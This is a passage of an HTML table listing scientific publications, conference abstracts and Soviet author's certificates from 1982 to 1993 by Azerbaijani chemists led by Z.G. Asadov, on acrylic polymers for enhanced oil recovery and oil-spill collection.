\">Мамедова В.А</p><p style=\"background:undefined \">Дубровина Э.Г.</p><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Юсубов А.Ю.</p></td><td width=\"112\"><p style=\"background:undefined \">Москва</p></td><td width=\"72\"><p style=\"background:undefined \">1982</p></td><td width=\"121\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">6.</p></td><td width=\"160\"><h2>Нефтевытесняющие свойства водорастворимых акриловых полимеров</h2></td><td width=\"160\"><p style=\"background:undefined \">Тезисы докладов общегородской конференции молодых ученых</p></td><td width=\"160\"><h2>Асадов А.Ю.</h2><p style=\"background:undefined \">Юсубов А.Ю.</p><h2>Ага-заде А.Д.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1982</p></td><td width=\"121\"><p style=\"background:undefined \">С. 601</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">7.</p></td><td width=\"160\"><h2>Водорастворимые полимеры-эффективные нетоксичные агенты для&nbsp; увеличения нефтеотдачи пласта</h2></td><td width=\"160\"><p style=\"background:undefined \">Тезисы докладов&nbsp; конференции&nbsp; по охране окружающей среды</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Юсубов А.Ю.</p><p style=\"background:undefined \">Ага-заде А.Д.</p></td><td width=\"112\"><p style=\"background:undefined \">Баку</p></td><td width=\"72\"><p style=\"background:undefined \">1982</p></td><td width=\"121\"><p style=\"background:undefined \">С.8</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">8.</p></td><td width=\"160\"><h2>Исследование вытеснения нефти водными растворами полимеров</h2></td><td width=\"160\"><p style=\"background:undefined \">Азербайджанское нефтяное хозяйство</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г</p><p style=\"background:undefined \">Юсубов А.Ю</p></td><td width=\"112\"><p style=\"background:undefined \">Баку</p></td><td width=\"72\"><p style=\"background:undefined \">1982</p></td><td width=\"121\"><p style=\"background:undefined \">№9. С.47-50</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">9.</p></td><td width=\"160\"><h2>Исследование вытеснения нефти методом полимерного заводнения</h2></td><td width=\"160\"><p style=\"background:undefined \">Азербайджанское нефтяное хозяйство</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г</p><p style=\"background:undefined \">Юсубов А.Ю.</p><p style=\"background:undefined \">Ага-заде А.Д.</p></td><td width=\"112\"><p style=\"background:undefined \">Баку</p></td><td width=\"72\"><p style=\"background:undefined \">1983</p></td><td width=\"121\"><p style=\"background:undefined \">№5. С.49-52</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">10.</p></td><td width=\"160\"><h2>Оксипропилированные&nbsp;&nbsp; производные поли(мет)акриловой кислоты в качестве нефтевытесняющих агентов при полимерном заводнении нефтяных пластов</h2></td><td width=\"160\"><p style=\"background:undefined \">Авторское свидетельство СССР №1267769</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Юсубов А.Ю.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Агаев Ф.А.</p></td><td width=\"112\"><h2>Москва</h2></td><td width=\"72\"><h2>1986</h2><h2>&nbsp;</h2></td><td width=\"121\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">11.</p></td><td width=\"160\"><h2>Исследование&nbsp; химических превращений полиакрилонитрила в кислотной среде</h2></td><td width=\"160\"><p style=\"background:undefined \">Деп. в ВИНИТИ №1876-В-86 от 18/111</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2></td><td width=\"112\"><h2>Москва</h2></td><td width=\"72\"><h2>1986</h2><p style=\"background:undefined \">&nbsp;</p></td><td width=\"121\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">12.</p></td><td width=\"160\"><h2>Исследование&nbsp; нефтевытесняющих свойств акриловых полимеров</h2></td><td width=\"160\"><p style=\"background:undefined \">Исследование нефтей и их переработка</p></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><h2>Юсубов А.Ю.</h2></td><td width=\"112\"><p style=\"background:undefined \">Баку: Элм</p></td><td width=\"72\"><h2>1987</h2></td><td width=\"121\"><p style=\"background:undefined \">С.19-25</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">13.</p></td><td width=\"160\"><h2>Третичное извлечение нефти с помощью растворов полимеров</h2></td><td width=\"160\"><p style=\"background:undefined \">Исследование нефтей и их переработка</p></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г</p><p style=\"background:undefined \">Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2></td><td width=\"112\"><p style=\"background:undefined \">. Баку: Элм</p></td><td width=\"72\"><p style=\"background:undefined \">1987</p></td><td width=\"121\"><p style=\"background:undefined \">С.14-19</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">14.</p></td><td width=\"160\"><h2>Синтез оксипропилового</h2><p style=\"background:undefined \">эфира метакриловой кислоты и полимеров на его основе</p></td><td width=\"160\"><h2>Азербайджанский химический журнал</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Юсубов А.Ю.</p></td><td width=\"112\"><p style=\"background:undefined \">Баку</p></td><td width=\"72\"><p style=\"background:undefined \">1986</p></td><td width=\"121\"><p style=\"background:undefined \">№2. С.55-60</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">15.</p></td><td width=\"160\"><h2>Исследование &nbsp;нефтевытесняющих свойств полиметакрилата натрия</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Юсубов А.Ю.</p><p style=\"background:undefined \">Аллахвердиев Д.И.</p></td><td width=\"112\"><p style=\"background:undefined \">Баку</p></td><td width=\"72\"><p style=\"background:undefined \">1986</p></td><td width=\"121\"><p style=\"background:undefined \">№10. С.17-20</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">16.</p></td><td width=\"160\"><h2>Синтез водорастворимых&nbsp; полимеров на основе акриловых соединений и окиси пропилена</h2></td><td width=\"160\"><h2>III Республиканская конференция по высокомолекулярным соединениям</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г.</p><h2>Ага-заде А.Д.</h2><h2>Юсубов А.Ю.</h2><h2>Ахмедова Г.А.</h2></td><td width=\"112\"><p style=\"background:undefined \">Баку: Элм</p></td><td width=\"72\"><h2>1986</h2></td><td width=\"121\"><p style=\"background:undefined \">С.46</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">17.</p></td><td width=\"160\"><h2>Превращения полиакрилонитрила в кислотных средах</h2></td><td width=\"160\"><h2>III Республиканская конференция по высокомолекулярным соединениям</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><h2>Асадов З.Г.</h2><h2>Ага-заде А.Д. Юсубов А.Ю.</h2></td><td width=\"112\"><p style=\"background:undefined \">Баку: Элм</p></td><td width=\"72\"><h2>1986</h2></td><td width=\"121\"><p style=\"background:undefined \">С.46</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">18.</p></td><td width=\"160\"><h2>Study of polyacrilonitrile conversions in acidic media</h2></td><td width=\"160\"><p style=\"background:undefined \">MACRO’87: 31-st IUPАC Маcrоmоl. Symp. Merseburg. Microsymp.2, Microsymp.3.S.1</p></td><td width=\"160\"><p style=\"background:undefined \">Asadov Z.G.</p><p style=\"background:undefined \">Aliyev V.S.</p><p style=\"background:undefined \">Aga-zade A.D.</p><p style=\"background:undefined \">Yusubov A.Y.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><p style=\"background:undefined \">Germany,</p><p style=\"background:undefined \">Merseburg</p></td><td width=\"72\"><p style=\"background:undefined \">1987</p></td><td width=\"121\"><p style=\"background:undefined \">p.180</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">19.</p></td><td width=\"160\"><p style=\"background:undefined \">Synthesis of polymers and copolymers based on oxypropyl ester of (meth) acrylic acid</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"160\"><p style=\"background:undefined \">MACRO’87: 31-st IUPАC Маcrоmоl. Symp. Merseburg. Microsymp.2, Microsymp.3.S.1</p></td><td width=\"160\"><p style=\"background:undefined \">Aliyev V.S.</p><p style=\"background:undefined \">Asadov Z.G.</p><p style=\"background:undefined \">Yusubov A.Y.</p><p style=\"background:undefined \">Aga-zade A.D.</p><p style=\"background:undefined \">Ahmadova G.A.</p><h2>&nbsp;</h2></td><td width=\"112\"><p style=\"background:undefined \">Germany,</p><p style=\"background:undefined \">Merseburg</p></td><td width=\"72\"><h2>1987</h2></td><td width=\"121\"><p style=\"background:undefined \">p.117</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">20.</p></td><td width=\"160\"><h2>Превращения акрилонитрила в кислотных средах</h2></td><td width=\"160\"><h2>Деп. В ВИНИТИ №4. 291-В87 от 12/VI 1987</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2><p style=\"background:undefined \">Гурская М.В</p><p style=\"background:undefined \">Ахмедова Г.А.</p></td><td width=\"112\"><p style=\"background:undefined \">Москва</p></td><td width=\"72\"><p style=\"background:undefined \">1987</p></td><td width=\"121\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">21.</p></td><td width=\"160\"><h2>Механизм оксипропилирования карбоксильной группы поликислот</h2></td><td width=\"160\"><h2>Материалы III Республиканской конференции молодых ученых-химиков, посвященной 80-летию академика М.Ф.Нагиева</h2></td><td width=\"160\"><p style=\"background:undefined \">Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2><h2>Асадов З.Г.</h2></td><td width=\"112\"><p style=\"background:undefined \">Баку: Элм</p></td><td width=\"72\"><h2>1988</h2></td><td width=\"121\"><p style=\"background:undefined \">C.31</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">22.</p></td><td width=\"160\"><h2>Полимеризация оксипропилакрилата в водной и органической средах</h2></td><td width=\"160\"><h2>Материалы III Республиканской конференции молодых ученых-химиков, посвященной 80-летию академика М.Ф.Нагиева</h2></td><td width=\"160\"><p style=\"background:undefined \">Ахмедова Г.А</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><p style=\"background:undefined \">Баку: Элм</p></td><td width=\"72\"><h2>1988</h2></td><td width=\"121\"><p style=\"background:undefined \">C.109</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">23.</p></td><td width=\"160\"><h2>Об активности карбоксильной группы в реакции оксипропилирования</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР; Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"160\"><h2>Юсубов А.Ю.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><h2>Асадов З.Г.</h2></td><td width=\"112\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p style=\"background:undefined \">Ч.2.С.64-67</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">24.</p></td><td width=\"160\"><h2>Исследование кинетических закономерностей реакции оксипропилирования акриловых звеньев поликислоты, содержащей солевые фрагменты</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР;Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"160\"><p style=\"background:undefined \">Ага-заде А.Д.</p><h2>Асадов З.Г.</h2></td><td width=\"112\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p style=\"background:undefined \">Ч.2.С.68-71</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">25.</p></td><td width=\"160\"><h2>Кинетические особенности радикальной гомополимеризации оксипропилакрилата и оксипропилметакрилата</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР; Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"160\"><h2>Ахмедова Г.А. Юсубов А.Ю.</h2><h2>Асадов З.Г.</h2></td><td width=\"112\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p style=\"background:undefined \">Ч.2.С.72-74</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">26.</p></td><td width=\"160\"><h2>Роль конформационного состояния&nbsp; полиакриловой кислоты в ее реакции с пропиленоксидом</h2></td><td width=\"160\"><h2>Труды&nbsp; 2-ой научной конференции молодых ученых Ин-та нефтехимич. Процессов АН АзССР;Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"160\"><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Насибова Ш.М.</p><h2>Асадов З.Г.</h2><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Деп.в ВИНИТИ №1940-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p style=\"background:undefined \">Ч.2.С.23-26</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">27.</p></td><td width=\"160\"><h2>(Со)полимеризация акриловой кислоты в присутствии окиси пропилена</h2></td><td width=\"160\"><h2>Всесоюзная конференция «Радикальная полимеризация»</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Касимов А.А.</p><p style=\"background:undefined \">Джафаров Р.П.</p><h2>Насибова Ш.М.</h2></td><td width=\"112\"><h2>Россия,</h2><h2>Горький</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p style=\"background:undefined \">С.48</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">28.</p></td><td width=\"160\"><h2>Синтез и (со)полимеризация оксипропил(мет)акрилата</h2></td><td width=\"160\"><h2>Всесоюзная конференция «Радикальная полимеризация»</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Юсубов А.Ю.</p><p style=\"background:undefined \">Касимов А.А.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Россия,</h2><h2>Горький</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"121\"><p style=\"background:undefined \">С.58-59</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">29.</p></td><td width=\"160\"><h2>Синтез и нефтевытесняющие свойства водорастворимых полимеров на основе акриловой кислоты, окиси пропилена&nbsp; и (не)органических оснований</h2></td><td width=\"160\"><h2>Современные методы увеличения нефтеотдачи пластов (краткие тезисы докладов Всесоюзного совещания)</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ахмедова Г.А</p><p style=\"background:undefined \">Насибова Ш.М Касимов А.А.</p><p style=\"background:undefined \">Алиев Б.М.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Россия,</h2><h2>Бугульма</h2></td><td width=\"72\"><p style=\"background:undefined \">1989</p></td><td width=\"121\"><p style=\"background:undefined \">С.190-192</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">30.</p></td><td width=\"160\"><h2>Водорастворимый полимер для изоляции поглощающего пласта при бурении</h2></td><td width=\"160\"><h2>Каталог ярмарки научно-технических достижений. ЦИНИТЭНефтехим</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Россия,</h2><h2>Москва</h2></td><td width=\"72\"><p style=\"background:undefined \">1989</p></td><td width=\"121\"><p style=\"background:undefined \">Ч IV.С.798</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">31.</p></td><td width=\"160\"><h2>Некоторые кинетические параметры радикальной полимеризации оксипропилакрилата, инициированной персульфатными солями</h2></td><td width=\"160\"><h2>Труды&nbsp; 2-ой научной конференции молодых ученых Ин-та нефтехимич. Процессов АН АзССР; Кинетика и катализ, оптимизация и моделирование нефтехимических процессов</h2></td><td width=\"160\"><h2>Ахмедова Г.А.</h2><p style=\"background:undefined \">Асадов З.Г.</p></td><td width=\"112\"><h2>Деп.в ВИНИТИ №6876-В89</h2></td><td width=\"72\"><p style=\"background:undefined \">1989</p></td><td width=\"121\"><p style=\"background:undefined \">Ч.1.С.17-20</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">32.</p></td><td width=\"160\"><h2>Синтез полиэлектролитов взаимодействием окиси пропилена с полиакриловой кислотой, частично нейтрализованной неорганическими основаниями</h2></td><td width=\"160\"><h2>Труды&nbsp; 3-ей научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР</h2></td><td width=\"160\"><p style=\"background:undefined \">Насибова Ш.М</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Асадов З.Г.</p><h2>&nbsp;</h2></td><td width=\"112\"><h2>Деп.в ВИНИТИ №2272-В89</h2></td><td width=\"72\"><p style=\"background:undefined \">1990</p></td><td width=\"121\"><p style=\"background:undefined \">Ч.1.С.4-6</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">33.</p></td><td width=\"160\"><h2>Синтез сополимеров оксипропилового эфира акриловой кислоты</h2></td><td width=\"160\"><h2>Труды&nbsp; 3-ей научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР памяти акад. Ю.Г.Мамедалиева</h2></td><td width=\"160\"><h2>Ахмедова Г.А.</h2><p style=\"background:undefined \">Асадов З.Г.</p></td><td width=\"112\"><h2>Деп.в ВИНИТИ №2272-В89</h2></td><td width=\"72\"><p style=\"background:undefined \">1990</p></td><td width=\"121\"><p style=\"background:undefined \">С.34-36</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">34.</p></td><td width=\"160\"><h2>Синтез водорастворимых олигомеров на основе акриловой кислоты и окиси пропилена</h2></td><td width=\"160\"><h2>IV Всесоюзная конференция по химии и физико-химии олигомеров. Тезисы пленарных и стендовых докладов,&nbsp; Черноголовка.</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Алиев В.С..</p><p style=\"background:undefined \">Ахмедова Г.А</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Касимов А.А.</p><p style=\"background:undefined \">Насибова Ш.М</p></td><td width=\"112\"><h2>Россия,</h2><h2>Нальчик</h2></td><td width=\"72\"><p style=\"background:undefined \">1990</p></td><td width=\"121\"><p style=\"background:undefined \">С.177</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">35.</p></td><td width=\"160\"><h2>Закономерности и механизм реакции оксипропилирования полиакриловой кислоты, частично нейтрализованной гидроксидом натрия</h2></td><td width=\"160\"><h2>Высокомолекуляр-ные соединения</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Алиев В.С.</p><p style=\"background:undefined \">Касимов А.А.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Россия,</h2><h2>Москва</h2></td><td width=\"72\"><p style=\"background:undefined \">1990</p></td><td width=\"121\"><p style=\"background:undefined \">Б, №10.С. 792-797</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">36.</p></td><td width=\"160\"><h2>Реагент для подавления жизнедеятельности сульфатвосстанавливающих бактерий в заводняемом нефтяном пласте</h2></td><td width=\"160\"><h2>Авторское свидетельство СССР №1747681</h2></td><td width=\"160\"><p style=\"background:undefined \">Ханларова А.Г.</p><p style=\"background:undefined \">Кандинская Л.И.</p><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Алиев В.С.</p><p style=\"background:undefined \">Файзуллина Е.Ю.</p><p style=\"background:undefined \">Гаджиева Р.Н.</p><p style=\"background:undefined \">Самедова А.М.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Ахмедова Г.А.</p></td><td width=\"112\"><h2>&nbsp;</h2></td><td width=\"72\"><p style=\"background:undefined \">1992</p></td><td width=\"121\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">37.</p></td><td width=\"160\"><h2>Способ получения оксипропильных производных&nbsp; полиакриловой кислоты</h2></td><td width=\"160\"><h2>Авторское свидетельство СССР №1829375</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Алиев В.С.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Насибова Ш.М.</p><p style=\"background:undefined \">Касимов А.А.</p><p style=\"background:undefined \">Ахмедова Г.А.</p></td><td width=\"112\"><h2>&nbsp;</h2></td><td width=\"72\"><p style=\"background:undefined \">1992</p></td><td width=\"121\"><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">38.</p></td><td width=\"160\"><h2>Synthesis, kinetic regularities and mechanism of process for obtaining of water-soluble polymeric surface-active substance (SAS) based on acrylic acid and propylene oxide</h2></td><td width=\"160\"><h2>Birinci Azərbaycan-Türkiyə “Polimer-91” Bildiri özetleri</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><h2>Ahmadova G.A.</h2><h2>Nasibova Sh.M.</h2><h2>Kasimov A.A.</h2><h2>Aliyev V.S.</h2><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><p style=\"background:undefined \">1991</p></td><td width=\"121\"><p style=\"background:undefined \">pp. 365-366</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">39.</p></td><td width=\"160\"><h2>Исследование&nbsp; нефтевытесняющей способности полиметакрилата натрия</h2></td><td width=\"160\"><h2>Вопросы нефтехимии. Сборник трудов ИНХП АН Азерб. Респ.</h2></td><td width=\"160\"><h2>Алиев В.С.</h2><h2>АсадовЗ.Г.</h2><h2>Юсубов&nbsp; А.Ю.</h2><h2>Ага-заде А.Д.</h2></td><td width=\"112\"><h2>Баку: Элм</h2></td><td width=\"72\"><h2>1991</h2></td><td width=\"121\"><p style=\"background:undefined \">Вып. ХVII,С. 99-108</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">40.</p></td><td width=\"160\"><h2>Синтез, свойства и применение гидрофильных полимеров и сополимеров оксиалкиловых эфиров (мет)акриловой кислоты</h2></td><td width=\"160\"><h2>Успехи химии</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Алиев В.С.</p></td><td width=\"112\"><h2>Россия,</h2><h2>Москва</h2></td><td width=\"72\"><p style=\"background:undefined \">1992</p></td><td width=\"121\"><p style=\"background:undefined \">т.61, вып.5.С. 139-156</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">41.</p></td><td width=\"160\"><h2>Применение водорастворимых полимеров на основе акриловой&nbsp; кислоты и окиси пропилена в извлечении нефти методом мицеллярно-полимерного заводнения</h2></td><td width=\"160\"><h2>Нефть и газ. Известия высших учебных заведений</h2></td><td width=\"160\"><p style=\"background:undefined \">Асадов З.Г.</p><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Насибова Ш.М.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Касимов А.А.</p><p style=\"background:undefined \">Алиев В.С.</p></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><p style=\"background:undefined \">1992</p></td><td width=\"121\"><p style=\"background:undefined \">№3-4.С. 31-34</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">42.</p></td><td width=\"160\"><h2>Regularities and peculiarities for&nbsp; obtaining&nbsp; water-soluble surface-active (co)polymers of acrylic acid’s oxypropyl and chloroxypropyl esters</h2></td><td width=\"160\"><h2>İkinciAzərbaycan-Türkiyə “Polimer-92” Tebliq özetleri</h2></td><td width=\"160\"><h2>Asadov Z.G. Ahmadova G.A.</h2><h2>Aga-zade A.D.</h2><h2>Nasibova Sh.M.</h2><h2>Kasimov A.A.</h2><h2>Aliyev V.S.</h2><p style=\"background:undefined \">&nbsp;</p></td><td width=\"112\"><h2>Turkey,</h2><h2>Ankara</h2></td><td width=\"72\"><p style=\"background:undefined \">1992</p></td><td width=\"121\"><p style=\"background:undefined \">p. 136</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">43.</p></td><td width=\"160\"><h2>Синтез и дериватографическое исследование водорастворимых полимеров на основе акриловой кислоты, окиси пропилена и гидроксида натрия</h2></td><td width=\"160\"><h2>Журнал Прикладной Химии</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Сеидрзаева М.М.</p><p style=\"background:undefined \">Касимов А.А.</p><h2>Алиев В.С.</h2></td><td width=\"112\"><h2>Россия,</h2><h2>Санкт-Петербург</h2></td><td width=\"72\"><h2>1992</h2></td><td width=\"121\"><p style=\"background:undefined \">№6.С.1425-1429</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">44.</p></td><td width=\"160\"><h2>О возможности сбора нефти и нефтепродуктов в виде тонких пленок на водной поверхности с помощью композиций, содержащих полимеры и олигомеры на основе акриловых мономеров и эпоксисоединений</h2></td><td width=\"160\"><h2>&nbsp;Научно-практическая конференция «Экологические проблемы&nbsp; г.Баку и пригородских&nbsp; территорий». Бакинское отделение Экологического Союза Азербайджана</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Касимов А.А.</p><h2>Алиев В.С.</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1992</h2></td><td width=\"121\"><p style=\"background:undefined \">С.17</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">45.</p></td><td width=\"160\"><h2>Новый реагент для сбора тонких нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Материалы научно-практ. конференции по экологич. пробл. Азербайджана. II выпуск. Баку: Азерб.Респ. Ассоц. «Экология»</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p style=\"background:undefined \">Исмаилова Х.Р.</p><p style=\"background:undefined \">Ахмедова Г.А.</p><p style=\"background:undefined \">Алиев В.С.</p><h2>&nbsp;</h2></td><td width=\"112\"><h2>Баку</h2></td><td width=\"72\"><h2>1993</h2></td><td width=\"121\"><p style=\"background:undefined \">С.82</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">46.</p></td><td width=\"160\"><h2>The synthesis, properties and applications of hydrophilic polymers and copolymers of hydroxyalkyl esters of acrylic and methacrylic acids</h2></td><td width=\"160\"><h2>Russian Chemical Reviews., vol.61, №5. P.550-568</h2></td><td width=\"160\"><h2>Асадов З.G.</h2><h2>Aliyev V.S.</h2></td><td width=\"112\"><h2>Russia</h2></td><td width=\"72\"><h2>1992</h2></td><td width=\"121\"><p style=\"background:undefined \">vol.61, №5. P.550-568</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">47.</p></td><td width=\"160\"><h2>New oil-collecting and dispersing agent</h2></td><td width=\"160\"><h2>Second Baku International Symposium. «Energy, Ecology, Economy»</h2></td><td width=\"160\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><h2>Ismailova Kh.R.</h2><h2>Kasimov A.A.</h2><p style=\"background:undefined \">Aliyev V.S.</p></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><h2>1993</h2></td><td width=\"121\"><p style=\"background:undefined \">Р.79</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">48</p></td><td width=\"160\"><h2>Products of ethylene-propylene synthetic rubber’s chemical modification as agents for enhanced oil recovery</h2></td><td width=\"160\"><h2>Second Baku International Symposium. «Energy, Ecology, Economy»</h2></td><td width=\"160\"><h2>Alosmanov R.M</h2><h2>Azizov A.A.</h2><h2>Akhmedov V.M.</h2><h2>Asadov Z.G.</h2><h2>Aga-zade A.D..</h2></td><td width=\"112\"><h2>Baku</h2></td><td width=\"72\"><h2>1993</h2></td><td width=\"121\"><p style=\"background:undefined \">P.13</p></td></tr><tr><td width=\"47\"><p style=\"background:undefined \">49.</p></td><td width=\"160\"><h2>Композиция для удаления нефти и нефтепродуктов с поверхности воды</h2></td><td width=\"160\"><h2>Заявка Азербайджанской Республики 000166А от 23/ХI 1993 г. Патент Р990073</h2></td><td width=\"160\"><h2>Асадов З.Г.</h2><p style=\"background:undefined \">Ага-заде А.Д.</p><p 